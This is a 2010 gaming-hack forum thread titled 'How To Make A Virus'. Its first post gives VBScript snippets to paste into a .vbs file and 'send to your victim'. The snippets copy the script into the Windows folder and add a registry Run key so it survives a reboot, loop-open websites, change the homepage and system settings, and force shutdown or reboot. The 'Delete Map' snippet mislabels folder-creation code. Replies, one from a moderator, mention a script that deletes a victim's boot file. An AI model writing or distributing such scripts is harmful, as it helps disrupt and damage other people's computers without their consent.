LivE tO pLaY L2P_
WE HAVE MOVED!
PLEASE REGISTER AT WWW.GARENALIVE.ZXQ.NET FOR FREE GARENA IDS AND MEGA EXP HACK!

Download the latest Garena Hacks for free!

WE HAVE SHIFTED FROM THIS FORUM TO www.WinGoDz.net.tc >>REGISTER AND MEET US THERE!

You are not connected. Please login or register

TUT: How To Make A Virus

View previous topic View next topic Go down  Message [Page 1 of 1]

1 TUT: How To Make A Virus on Sun Aug 29, 2010 8:08 am

Fr[0]sT.-

avatar
Supreme
Supreme
Hi,
This is a little tutorial how to make a virus.
1. OPen Notepad
2. Paste some codes from here into the notepad ( for codes see below)
3.When You have paste all the codes that you like, you need to save the notepad as .vbs:




4. Now You Have a .vbs File , Send it to your victim and have fun!
Codes

Msgbox

msgbox"message here "
Msgbox with title

msgbox "message here",0,"title here"
QUeStIon + Answer

a=inputbox("Question ")
msgbox "Answer " +a+ " ..."
CD-Rom Open And Close

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
Iets oneindig Herhalen!

do (title Script here) loop
Virus Startup when turn on pc

If Day(Now) = 5 And Month(Now) = 20 Then
msgbox "its now 20 mei"
End If
Set Shl = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
winfolder = fso.GetSpecialFolder(0)
Set vbsfile = fso.GetFile(WScript.ScriptFullName)
vbsfile.Copy winfolder & "VIRUS NAME HERE.vbs"
Shl.RegWrite
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start
menu",winfolder & "VIRUS NAME HERE.vbs"

Pauze in virus (1000 = 1sec)

Wscript.Sleep 1000

Change MSN Name! (maybe dont work)

Set WshShell = CreateObject("Wscript.shell")
WshShell.Run ("msnmsgr.exe")
Wscript.Sleep 1200
WshShell.sendkeys "%x"
WshShell.sendkeys "O"
WshShell.sendkeys "(Msn Name..)"

Site open with loop

Wscript.Sleep 40000
Do
Wscript.Sleep 20000
Set WshShell = WScript.CreateObject ("WScript.Shell")
WshShell.Run ("SITE HERE")
Loop
Make Map

path = "C:\New"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If

Delete Map:

path = "C:\New"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If

StartMenu ComeUp Slower/Faster(1000 = 1 sec):

Set shl = CreateObject("Wscript.shell")
Shl.RegWrite "HKEY_CURRENT_USER\Control Panel\Desktop\MenuShowDelay", "10000"
CHange Name Of Trash (vicitm can see it and can choice the name)

Option Explicit
Dim WshShell, strRecycle, strOldName, strNewName, NL, RBn
Set WshShell = Wscript.CreateObject("WScript.Shell")
'Registry key to read for current name.
strRecycle = "HKCR\CLSID\{645FF040-5081" &_
"-101B-9F08-00AA002F954E}"
'Read the Registry key and store the string value.
strOldName = WshShell.RegRead(strRecycle)
'Show the existing Recycle Bin name and prompt for new name.
NL = vbCRLF
strNewName = InputBox("Current name of Recyle Bin shown" &_
" below. " & NL & NL & "Enter a new name " &_
"and click OK", , strOldName)
'If new name was entered, write it to Registry key.
If strNewName <> "" Then
WshShell.RegWrite strRecycle, strNewName
End If
'Show results.
RBn = "Recycle Bin name "
If strNewName = "" or strNewName = StrOldName Then
WshShell.Popup RBn & "NOT changed.", , , 64
Else
WshShell.Popup RBn & "CHANGED to " & strNewName, , , 64
End If
Website as HomePage

Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page",
[You must be registered and logged in to see this link.]

PC Makes SOund

Set oWS = WScript.CreateObject("WScript.Shell")
oWS.Run "%comspec% /c echo " & Chr(07), 0, True

Windows shutdown, Restart en Log off

Public Const LOGOFFUSER = 0
Public Const SHUTDOWNPC = 1
Public Const REBOOTPC = 2
Public Const FORCEREBOOT = 4
Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal
dwReserved As Long) As Long

WIth 1 Of the codes

Computer shutdown:
ans& = ExitWindowsEx(SHUTDOWNPC, 0)

Computer restart:
ans& = ExitWindowsEx(REBOOTPC, 0)

log off:
ans& = ExitWindowsEx(LOGOFFUSER, 0)

Force SHutDown: (wel met risico voor andere bestanden!!)
ans& = ExitWindowsEx(FORCEREBOOT, 0)


Sendkeys

Sendkeys "text here"
Sendkeys "{ENTER}"
(Now the program will type "text here")


Make New Map

path = "C:\New MAP (name)"
set filesys=CreateObject("Scripting.FileSystemObject")
If Not filesys.FolderExists(path) Then
Set folder = filesys.CreateFolder(path)
End If

Open a FIle

Set WshShell = WScript.CreateObject ("WScript.Shell") WshShell.Run ("Path Here, Example: C:/WIndows/Hack.exe")



[You must be registered and logged in to see this image.] Megan [You must be registered and logged in to see this image.]
[You must be registered and logged in to see this image.]
http://www.l2play.net.tc

2 Re: TUT: How To Make A Virus on Fri Sep 03, 2010 8:19 pm

Evil

avatar
Super Moderator
Super Moderator
Thank for this , i want to try it Razz

3 Re: TUT: How To Make A Virus on Thu Sep 09, 2010 8:58 am

GG.TestBunny

avatar
Super Moderator
Super Moderator
These are worms. Will make a thread with viruses.It is a little more complicated. However there is this virus which is just about 1 line on notepad but when opened deletes the complete boot file of the victim. Will check once and come.

4 Re: TUT: How To Make A Virus on Fri Sep 10, 2010 6:34 am

Mr.Mezz

avatar
[ Level 10 - Cadet ]
checkd yet? [You must be registered and logged in to see this image.]

5 Re: TUT: How To Make A Virus on Mon Sep 20, 2010 7:25 am

Administration

avatar
Supreme
Supreme
do check out my guide on garena master on how to make a virus

6 Re: TUT: How To Make A Virus on Sat Sep 25, 2010 6:54 am

-RamPag3.-

avatar
[ Level 10 - Cadet ]
Administration wrote:do check out my guide on garena master on how to make a virus
post it here plz

Sponsored content


View previous topic View next topic Back to top  Message [Page 1 of 1]

Permissions in this forum:
You cannot reply to topics in this forum

 

Live2Play 2010 - Powered By Forumotion

Live2Play 2010 - Powered By Forumotion
Create a forum on Forumotion | © PunBB | Free forum support | Report an abuse | Free forum